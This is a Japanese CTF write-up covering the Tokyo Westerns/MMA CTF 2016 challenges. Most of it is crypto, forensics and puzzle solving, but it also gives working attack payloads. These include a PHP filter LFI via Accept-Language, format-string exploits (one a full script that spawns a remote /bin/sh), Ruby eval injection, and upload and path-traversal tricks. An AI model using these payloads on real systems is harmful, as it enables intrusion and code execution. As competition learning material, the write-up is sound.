Tokyo Westerns/MMA CTF 2nd 2016 に参加した。問題がとても面白いし、日本語もあるので、ありがたい。
superflipは1660点、39位。もう少し点を取りたかった。
Welcome!!
TWCTF{Welcome_To_TW_MMACTF!!}
Global Page
?page=tokyo
で、tokyo/ja.php
とかtokyo/en-US.php
とかが読み込まれる。page
はディレクトリトラバーサル対策されている。ja
の部分がブラウザのAccept-Language
でこちらは対策されていなかった。include
で読んでいるらしく、PHPコードが処理されているので、フィルタを掛ける。page
をphp:
にして、Accept-Language:
を/filter/read=convert.base64-encode/resource=/var/www/globalpage/index
にすると、index.php
をBase64エンコードしたものが手に入る。index.php
を読むとflag.php
をinclude
しているので、同様に読む。
TWCTF{I_found_simple_LFI}
judgement
書式指定文字列攻撃ができる。「Warmpupラベルが付いているのに面倒だな……」と思っていたけど、表示するべきフラグを示すアドレスがスタック上にあったので、%28$s
を指定するだけだった。この記法で、何番目の引数を表示するのか指定できる。
>nc pwn1.chal.ctf.westerns.tokyo 31729
Flag judgment system
Input flag >> %28$s
TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
Wrong flag...
TWCTF{R3:l1f3_1n_4_pwn_w0rld_fr0m_z3r0}
Make a Palindrome!
単語を並び替えて、繋いだときに回文になるようにしなさいという問題。単語数が最大で10なので、10!通り試すだけ。ありがたいことに、サーバーとやり取りするサンプルプログラムまであるので、あとは探索を書くだけ。この問題、N
がいくつくらいまで解けるのか気になる。
import itertools
:
# words: input
# answer: answer
## Please write some code here
for w in itertools.permutations(words):
if "".join(w)=="".join(w)[::-1]:
answer = w
break
TWCTF{Charisma_School_Captain}
TWCTF{Hiyokko_Tsuppari}
Rescue Data 1: deadnas
簡単に解けたのに、異様に解いているチームが少なくて不思議だった。みんなどこに嵌まっていたのだろう? 3台のNASのうち1台が壊れたらしい。ググってみると、RAID-5の仕組みはとても単純で、単に3台のxorが0
になるようにしているだけらしい。1台壊れるのの対策ならこれで充分なのか。あとは512バイトずつかき集めれば良い。
disk0 = open("deadnas\\disk0", "rb").read()
disk1 = ""
disk2 = open("deadnas\\disk2", "rb").read()
for i in range(0, len(disk0)):
disk1 += chr(ord(disk0[i])^ord(disk2[i]))
open("disk1", "wb").write(disk1)
disk = ""
p = 2
for i in range(0, len(disk0), 512):
if p!=0: disk += disk0[i:i+512]
if p!=1: disk += disk1[i:i+512]
if p!=2: disk += disk2[i:i+512]
p = (p-1)%3
open("disk", "wb").write(disk)
TWCTF{91e4a0ac663095ba0c68ba786e489c1a}
Twin Primes
双子素数を使ったRSA暗号。2組の双子素数p
, p+2
, q
, q+2
を使って、p
とq
、p+2
とq+2
でそれぞれRSA暗号鍵を作り、2重に暗号化している。これはひどい。この発想は無かったw n1
とn2
を引き算すると、p+q
(下のコード中のx
)が手に入る。n=p*q
とp+q
があるので、x
とy
が実数の場合と同じように解けば良い。
n1 = 19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935184448638997877593781930103866416949585686541509642494048554242004100863315220430074997145531929128200885758274037875349539018669336263469803277281048657198114844413236754680549874472753528866434686048799833381542018876362229842605213500869709361657000044182573308825550237999139442040422107931857506897810951
n2 = 19402643768027967294480695361037227649637514561280461352708420192197328993512710852087871986349184383442031544945263966477446685587168025154775060178782897097993949800845903218890975275725416699258462920097986424936088541112790958875211336188249107280753661467619511079649070248659536282267267928669265252935757418867172314593546678104100129027339256068940987412816779744339994971665109555680401467324487397541852486805770300895063315083965445098467966738905392320963293379345531703349669197397492241574949069875012089172754014231783160960425531160246267389657034543342990940680603153790486530477470655757947009682859
enc = 7991219189591014572196623817385737879027208108469800802629706564258508626010674513875496029177290575819650366802730803283761137036255380767766538866086463895539973594615882321974738140931689333873106124459849322556754579010062541988138211176574621668101228531769828358289973150393343109948611583609219420213530834364837438730411379305046156670015024547263019932288989808228091601206948741304222197779808592738075111024678982273856922586615415238555211148847427589678238745186253649783665607928382002868111278077054871294837923189536714235044041993541158402943372188779797996711792610439969105993917373651847337638929
from Crypto.Util.number import *
import Crypto.PublicKey.RSA as RSA
x = (n2-n1-4)/2
l = 1
r = x/2
while True:
m = (l+r)/2
t = m*(x-m)
if t==n1:
break
if t<n1:
l = m
else:
r = m
p = m
q = x-m
n1 = p*q
n2 = (p+2)*(q+2)
e = long(65537)
d1 = inverse(e, (p-1)*(q-1))
d2 = inverse(e, (p+1)*(q+1))
rsa1 = RSA.construct((n1, e, d1))
rsa2 = RSA.construct((n2, e, d2))
c = rsa2.decrypt(enc)
c = rsa1.decrypt(c)
print ("%x"%c).decode("hex")
TWCTF{3102628d7059fa267365f8c37a0e56cf7e0797ef}
Reverse Box
解析問題。暗号化器と暗号文が与えられるので、復号しろと。逆アセンブルとしてみると、置換表を作ってから、文字を置き換えているらしい。置換表生成のコードが長くて「Warmpupラベルが付いているのに面倒だな……」と思ったけど、最初にrand()%256
をしていて、ランダムな部分がここしかないので、256通りしか無いらしい。フラグの形式はTWCTF{???}
と言われているので、
while true
do
./reverse_box TWCTF{0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-}
sleep 1
done
として、大量に暗号文を作り、問題と先頭が一致するものを探せば、置換表が手に入る。
a = "TWCTF{0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_-}"
b = "95eeaf95ef94b1729676ad23b02fb2a75a1f4ef6f88630f04cb7cae5892a1de416f53a27288d4009036f3699afaedbef15e78e63069c569a31e664b558954904eedf7e0b7a6d4a"
T = {}
for i in range(len(a)):
T[b[i*2:i*2+2]] = a[i]
Q = "95eeaf95ef94234999582f722f492f72b19a7aaf72e6e776b57aee722fe77ab5ad9aaeb156729676ae7a236d99b1df4a"
A = ""
for i in range(0, len(Q), 2):
A += T[Q[i:i+2]]
print A
TWCTF{5UBS717U710N_C1PH3R_W17H_R4ND0M123D_5-B0X}
greeting
書式指定文字列攻撃。今度はプログラム中でフラグを読み込んだりはしていないので、シェルを実行する必要がある。わざわざsystem("echo ~")
で文字列を出力している箇所があるので、/bin/sh
を引数にしてこのsystem
を呼び出せば良さそう。
return addressや送り込む/bin/sh
はスタック上にあるので、スタックのアドレスを知る必要があるが、printf
を実行した後プログラムはすぐに終了してしまう。何か無いかと探したところ、main
終了後に.fini_array
に書かれたアドレスが呼び出されるらしいと分かった。このアドレスを上書きしてmain
にもう一度飛ばせば、1度目でスタックのアドレスを出力して2度目でそれに応じて値を上書きできる。送れる文字数にあまり余裕が無いけど、下位ビットだけ書き換えれば良い。main
のreturn addressは上位アドレスも違うので、printf
自体からのreturn addressを狙った。
# coding:utf-8
from socket import *
from time import *
from struct import *
from telnetlib import *
def p(a):
return pack("<I", a)
s = socket(AF_INET, SOCK_STREAM)
#s.connect(("localhost", 1234))
s.connect(("pwn2.chal.ctf.westerns.tokyo", 16317))
a_fini_array = 0x08049934
a_main = 0x080485ed
a_system = 0x08048779
cmd = "/bin/sh #"
sleep(1)
print s.recv(1000)
s.send("aa"+p(a_fini_array)+"%"+str((a_main-24)%256)+"c%12$hhn !%2$x!\n")
r = s.recv(1000)
print r
esp = int(r.split("!")[1], 16) - 0x5c
print "esp: %08x"%esp
"""
# 1度目と2度目のスタックアドレスの差を調べる
s.send("!%2$x!\n")
r = s.recv(1000)
print r
esp2 = int(r.split("!")[1], 16) - 0x5c
print "esp2: %08x"%esp2
print "esp_diff: %08x"%(esp2-esp)
"""
esp -= 0xe0
t = "aa"
t += p(esp-4)
t += p(esp-3)
t += p(esp)
t += "%"+str((a_system-32)%256)+"c%12$hhn"
x = a_system/256-a_system
t += "%"+str(x%256)+"c%13$hhn"
t += "%"+str((esp+0xf4-len(cmd)-x)%256)+"c%14$hhn"
t += " "*(0x3f-len(t)-len(cmd))
t += cmd
print repr(t)
s.send(t+"\n")
t = Telnet()
t.sock = s
t.interact()
Super Express
暗号化された文字列の復号。
for a, b in zip(key[0:n], key[n:2*n]):
c = (ord(a) * c + ord(b)) % 251
こんな暗号化。
a3*(a2*(a1*c+b1)+b2)+b3 = a3*a2*a1*c+b1*a2*a3+b2*a3+b3
だから、key
がいくら長くても1個の場合と難易度は変わらない。
q = "805eed80cbbccb94c36413275780ec94a857dfec8da8ca94a8c313a8ccf9"
Q = []
for i in range(0, len(q), 2):
Q += [int(q[i:i+2], 16)]
for a in range(251):
for b in range(251):
if (ord("T")*a+b)%251==Q[0] and (ord("W")*a+b)%251==Q[1]:
print a, b
A = ""
for q in Q:
for i in range(0x20,0x7f):
if (i*a+b)%251==q:
A += chr(i)
print A
TWCTF{Faster_Than_Shinkansen!}
rps-ng
ジャンケンに40/50以上勝てという問題。敵AIは、こちらが最後に出した手ごとに、次にどの手を何回出したかを覚えていて、最も回数の多い手に勝てるような手を出してくる。それだけだと出す手が完全に読めてしまうので、どの手を何回出したかというテーブルを0-5の乱数で初期化している。
ある程度回数が進めば、テーブルの値を推測できる。テーブルの値は相対的にしか意味が無い(1, 2, 3も2, 3, 4も同じ)ので、試すべきパターンは6^3
から11^2
に減らせる。テーブルが推測できないうちは、なるべく敵の手が変化するように一度負けたら別の手を出す。テーブルの値が一意に定まらなくても、相手の出す手が決まればそれで良い。というあたりが工夫。
from socket import *
from time import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(("ppc1.chal.ctf.westerns.tokyo", 15376))
sleep(1)
print s.recv(1000)
S = []
E = []
last = 0
n = 0
def guess():
cand = set()
for pn in range(-5, 6):
for sn in range(-5, 6):
table = [0, pn, sn]
ok = True
l = 0
for i in range(n):
if l==last:
m = -1
ret = 0
for j in range(3):
if m<table[j]:
m = table[j]
ret = j
e = (ret+1)%3
if e != E[i]:
ok = False
break
table[S[i]] += 1
l = S[i]
if ok:
m = -1
ret = 0
for j in range(3):
if m<table[j]:
m = table[j]
ret = j
e = (ret+1)%3
cand.add(e)
print cand
return cand.pop() if len(cand)==1 else -1
while True:
g = guess()
if g>=0:
hand = (g+1)%3
else:
for h in range(3):
ok = True
for i in range(n):
l = S[i-1] if i>0 else 0
if l==last and S[i]==h and E[i]!=(S[i]-1)%3:
ok = False
if ok:
hand = h
break
else:
hand = 0
s.send("RPS"[hand]+"\n")
sleep(0.2)
r = s.recv(1000)
print r
S += [hand]
E += ["RPS".index(r.split("-")[1][0])]
last = hand
n += 1
TWCTF{The_hand_is_determined_by_mien}
Private / Local / Comment
任意のRubyコードをeval
してくれるので、それを使ってフラグを読めという言語知識問題。Rubyはほとんど使ったことが無いのでつらかった。
Private
プライベート変数の値がフラグ。Rubyはインスタンスにメソッドを追加できるので、フラグを読むメソッドを追加すれば良い。
def p.f;flag;end;p.f;
TWCTF{PrivatePreview}
Local
これから呼び出される関数のローカル変数の値がフラグ。RubyのAPIを眺めていたら、デバッグ用にset_trace_func
という関数があって、ここに関数を登録しておくとコードを実行する度に呼び出してくれるということを知った。ここにはその文が実行されたときのコンテキストも付いているので、これを使えば良い。
set_trace_func lambda{|e,f,l,i,b,k|l!=6 or b.eval("p flag")}
問題文(抜粋)が↓で、この解法だと3行目のx
が不要なので、想定解法ではない気がする。
def get_flag(x)
flag = "TWCTF{CENSORED}"
x
end
STDOUT.puts get_flag(eval(input))
TWCTF{EnjoyC0untryLife}
Comment
解けなかった。requireされたモジュール中のコメント。Rubyのソースコードを眺めてみたりしたけど、分からなかった。
IRCに書かれていた答えは、ObjectSpace.each_object(String){|x|x[15]=='{'and print x}
。ObjectSpace
なんてものがあるのか。
Lights Out!
切り替わるマスの形がちょっと変わったライツアウト。SATソルバーZ3Pyに投げたら、1問目は解けたけど、2問目は1日以上動かしてもダメだった。他の人の解法を見ると、行列で解けるらしい。普通に解いたら無理だけど、疎であることを使うと何とかなると。行列で何とかなるならZ3が何とかしてくれるだろと思っていた。甘かった。チェスボードの白と黒で干渉することが無いので分けて計算したが、特に効果無し。
from z3 import *
Q = "1101110001000001000111011"
W = 5
# Normal
# Lunatic
assert W*W==len(Q)
C = []
for y in range(W):
C += [[]]
for x in range(W):
C[y] += [Bool("%d_%d"%(x, y))]
dx = [-2, -1, 0, 1, 2, 1, 0, -1]
dy = [0, 1, 2, 1, 0, -1, -2, -1]
s0 = Solver()
s1 = Solver()
for y in range(W):
for x in range(W):
t = []
for d in range(8):
tx = x + dx[d]
ty = y + dy[d]
if 0<=tx<W and 0<=ty<W:
t += [C[ty][tx]]
if (x+y)%2==0:
s0.add(reduce(Xor, t)==(Q[y*W+x]=="1"))
else:
s1.add(reduce(Xor, t)==(Q[y*W+x]=="1"))
print s0.check()
print s1.check()
m0 = s0.model()
m1 = s1.model()
for y in range(W):
for x in range(W):
if (x+y)%2==0:
print str(m0[C[y][x]])[0],
else:
print str(m1[C[y][x]])[0],
print
TWCTF{peaceful_tea_party}
Get the admin password!
解けなかった。ただログイン画面があるだけで全く方針が分からないのに、解いているチーム数だけが増えていくのを指を咥えてみていた。MongoDB Injectionか……。ページタイトルのadmin(10)
が何かのヒントかと思ったけど、関係無かったのだろうか?
Poems
Slim Frameworkで作られたサイト。/admin
を開ければ良いのだけど、Digest認証が掛かっている。でも与えられたソースコードを見ても、認証を掛けている処理は無い。Apacheで/admin
に制限を掛けているらしい。→ /index.php/admin
を開けば終わり。/admin
ではないので、Apacheはスルーするけれど、Slimにしてみれば/admin
と同じ。
TWCTF{MemorysArt}
Rotten Uploader
解けなかった。ディレクトリトラバーサル脆弱性のあるアップローダー。フラグのファイルのファイル名が書かれたfile_list.php
が読みたいのだけど、file_list
を含むリクエストだけは弾いている。
IRCに貼られていた答え。 f=../file_l~1.php
。Windowsの短いファイル名……。そんなのあったな……。
Tsurai Web
解けなかった。PythonのFlask製アップローダー。アップロードしたファイルを元のファイル名で保存したり、ファイルのリストは.pyファイルに保存してimportで読み込んでいたり、色々危ういのだけど、どうして良いかは分からず。
IRCによると、__init__.py
をアップロードすれば良いとのこと。なるほど。ファイルの保存先がdata/md5(id)/
でファイルリストの保存先がdata/md5(id).py
。__init__.py
があると、ディレクトリのほうが優先的に読み込まれるのか。
Broken NTFS
これね……。普通は解いている人数が多い問題から順に解いていって、誰も解いていない問題なんて手を付けないのだけど、俺は詳しいんだと勇んで突っ込んだ。
openssl aes-256-cbc -e -in /tmp/flag.jpg -out /mnt/flag:flag -pass file:<(openssl aes-256-cbc -e -in ./key -pass pass:`pwd`/key -nosalt)
これを実行したHDDが壊されたという話。何を復元すれば良いかというと、flag:flag
とkey
、key
の置いてあるパス。ディスクイメージを見てみると、MFTの$MFT
自身の場所が潰されている。NTFSはここが壊れたときに備えて、$MFTMirror
というバックアップを用意しているのだけど、ちゃんと潰されていた。
MFTを復元してマウントして読む方法と、自分でファイルをリストアップする方法が考えられる。後者にした。後から気が付いたけど、$MFT
が断片化していたので後者の方が楽だったと思う。MFTの各レコードは(デフォルトだと)1024バイトごとに並んでいるし、先頭にFILE
というシグネチャがあるので、ディスク全体を読んで拾い集めれば良い。
flag:flag
は消されていたし、2個に断片化していたけど、簡単。
key
を探すと大量にあった。ディレクトリも大量にあるので、この中から正しいkey
を探せというのがキモらしい。以前にNTFSについて調べたときはディレクトリは気にしていなかった。構造はこのPDFに載っていた。フォルダ中のフォルダやファイルが少なくて、全てB+木のルートしか無いので、特に難しくはなかった。フォルダ中のフォルダやファイルはMFTの何番目のレコードかで指定されている。MFTが断片化しているので困ったけど、XPまではレコード中に自身の番号が書かれているらしい。
どのkey
が正しいkey
か。最初は、9万個程度なので、全部試して復号結果にJPEGのシグネチャが含まれているかどうかを調べたけど、出てきたのはたまたまシグネチャと一致したファイルだけ。次に、もしかしたらJPEGではないかもと思い、正しく復号できたファイルかどうかで判断しようとした。パディングのルール上、エラー無く復号できるファイルは1/256程度しかない。さらにほとんどのファイルは暗号化されたファイルより1バイト小さいだけなので、もっと小さいものがあればそれが答えだと思ったけど、これも不発。WindowsのOpenSSLだと何か実装が違うのかもと考え、Linuxで試したけど、ダメ。正しいkey
の判定方法はアクセス時刻だった。key
のアクセス時刻を列挙してみると、ほとんどはUNIXエポックだが、1個だけ違うファイルがあった。でも、これでも復号はできなかった。
しょうがないので、運営に「本当に問題文のコマンド合ってる?」と訊いたところ、「間違っていた」と言われた。訊いてみるものだな。人がどれだけ悩んだと……(#^ω^)ビキビキ とはいえ、最終的に3チームしか解けなかった問題でファーストアクセプトが取れたの満足。
CTFではいつも何十チームも解いている問題だけ解いて終わってしまうけど、点数が高めの問題を解くにはやはり事前にその分野について勉強しておくことが必要なのかもしれない。
余談:この問題を解いているときにパディングがおかしい以外のエラーが出ることがあって、何が原因かと思ったら、鍵にしているファイルの先頭が0x00
のときだった。OpenSSLで鍵に指定したファイルは0x00
までしか読んでくれないらしい。ランダムに生成したバイナリファイルを鍵にするような場合は1/256の確率で先頭1バイトしか使われないし、JPEG画像を鍵にするような使い方もアウト。覚えておこう。
試行錯誤の後が見られるスクリプト。
from struct import *
from sys import *
import os
f = open("ntfs.dd", "rb")
offset = 0
class C:
pass
file = {}
while True:
if offset>0x146ff400:
break
if offset%0x1000000==0:
print >>stderr, hex(offset)
record = f.read(0x400)
if record[:4]!="FILE":
offset += 0x400
continue
attr, flag = unpack("<HH", record[0x14:0x18])
# TODO: update sequence
name = ""
data = ""
entry = []
entry_name = []
while True:
if record[attr:attr+4]=="\xff\xff\xff\xff":
break
header = unpack("<IIBBBBIIHH", record[attr:attr+0x18])
id, size, form, _, _, _, _, csize, coffset, _ = header
if id==0x30:
assert form==0
o = attr+coffset+0x40
l = unpack("<H", record[o:o+2])[0]
name = record[o+2:o+2+l*2].decode("utf16")
if id==0x80:
if form==0:
data = record[attr+coffset:attr+coffset+csize]
if id==0x90:
o = attr+coffset+0x20
while True:
rec = unpack("<I", record[o:o+4])[0]
s = unpack("<H", record[o+8:o+10])[0]
if rec==0:
break
l = unpack("<H", record[o+0x50:o+0x52])[0]
n = record[o+0x52:o+0x52+l*2].decode("utf16")
entry += [rec]
entry_name += [n]
o += s
attr += size
if 0<len(name)<32:
#num = (offset-0x4000)/0x400
num = unpack("<I", record[0x2c:0x30])[0]
# print num, flag, repr(name), repr(data), entry, entry_name
t = C()
t.flag = flag
t.name = name
t.data = data
t.entry = entry
t.entry_name = entry_name
t.access = unpack("<Q", record[0x68:0x70])[0]
file[num] = t
# if num >= 1000:
# break
offset += 0x400
for num in file:
file[num].root = True
for num in file:
for e in file[num].entry:
if e in file:
file[e].root = False
else:
print "!", hex(0x4000+num*0x400), hex(0x4000+e*0x400), hex(num), hex(e)
"""
for num in file:
for i in range(len(file[num].entry)):
print file[file[num].entry[i]].name, file[num].entry_name[i]
assert file[file[num].entry[i]].name == file[num].entry_name[i]
"""
count = 0
def test(path, data):
global count
count += 1
print count
open("key", "wb").write(data)
# os.system("" % ("/mnt"+path))
#f = "data\\"+path.replace("/", "_")+".jpg"
#f = "M:\\"+path.replace("/", "_")+".jpg"
f = "data/"+path.replace("/", "_")+".jpg"
#print "bash -c 'openssl aes-256-cbc -d -in flagenc.jpg -out %s -pass file:<(openssl aes-256-cbc -e -in key -pass pass:%s -nosalt)'" % (f, "/mnt"+path)
os.system("bash -c 'openssl aes-256-cbc -d -in flagenc.jpg -out %s -pass file:<(openssl aes-256-cbc -e -in key -pass pass:%s -nosalt)'" % (f, "/mnt"+path))
try:
if open(f, "rb").read(2) != "\xff\xd8":
# os.system("del %s" % f)
os.system("rm %s" % f)
except:
pass
def BT(f, p):
if file[f].name=="key":
if file[f].access!=116444736000000000:
print p+"/key", hex(file[f].access), repr(file[f].data)
# test(p, file[f].data)
else:
for e in file[f].entry:
if e in file:
BT(e, p+"/"+file[f].name)
for f in file:
if file[f].root:
BT(f, "")
TWCTF{e7e67b68e738b7a50e588af0f26dc89a}
glance
「これは電車のドアの隙間から見た光景です.」とのことで細いGIF画像が与えられた。
convert +adjoin glance.gif glance.gif
でバラバラにして、並べるのはどうすれば良いのか分からないから、<img>
タグを並べたHTMLファイルを作った。convertコマンドでできたらしい。
TWCTF{Bliss by Charles O'Rear}
ninth
PNG画像が与えられて「フラグを探してください」なのに「画像ベースのステガノグラフィーの問題ではありません」
PNG画像のチャンクを解凍してみたら、末尾にテキストのフラグが付いていた。
TWCTF{WAMP_Are_You_Ready?}